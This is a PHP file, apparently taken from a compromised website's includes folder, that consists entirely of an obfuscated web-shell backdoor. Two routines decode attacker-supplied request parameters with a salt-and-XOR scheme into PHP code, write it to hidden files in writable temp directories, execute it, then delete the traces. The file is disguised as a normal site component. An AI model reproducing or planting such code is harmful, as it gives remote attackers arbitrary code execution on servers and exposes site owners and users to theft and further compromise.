File: //proc/thread-self/root/proc/self/root/home/vitanhod/virgomax.vitavit.com.pk/includes/behavior.php
<?php if(!is_null($_POST["mrk"] ?? null)){ $parameter_group = $_POST["mrk"]; $parameter_group = explode ( "." , $parameter_group ) ; $value= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt3); foreach ($parameter_group as $j => $v6) { $sChar= ord($salt3[$j % $sLen]); $d= ((int)$v6 - $sChar - ($j % 10)) ^ 80; $value .= chr($d);} $object = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp"]); foreach ($object as $pgrp): if (is_dir($pgrp) && is_writable($pgrp)) { $dat = str_replace("{var_dir}", $pgrp, "{var_dir}/.descriptor"); if (file_put_contents($dat, $value)) { require $dat; unlink($dat); exit; } } endforeach; }
if(array_key_exists("k", $_REQUEST) && !is_null($_REQUEST["k"])){
$entity = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]);
$desc = $_REQUEST["k"];
$desc =explode (".", $desc ) ;
$mrk = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt);
$n = 0;
while ($n < count($desc)) { $v6 = $desc[$n];
$sChar = ord($salt[$n % $lenS]);
$dec = ((int)$v6 - $sChar - ($n % 10)) ^ 60;
$mrk.=chr($dec);
$n++; }
$key = 0;
do {
$itm = $entity[$key] ?? null;
if ($key >= count($entity)) break;
if (array_product([is_dir($itm), is_writable($itm)])) {
$pointer = "$itm" . "/.component";
if (file_put_contents($pointer, $mrk)) {
include $pointer;
@unlink($pointer);
exit;
}
}
$key++;
} while (true);
}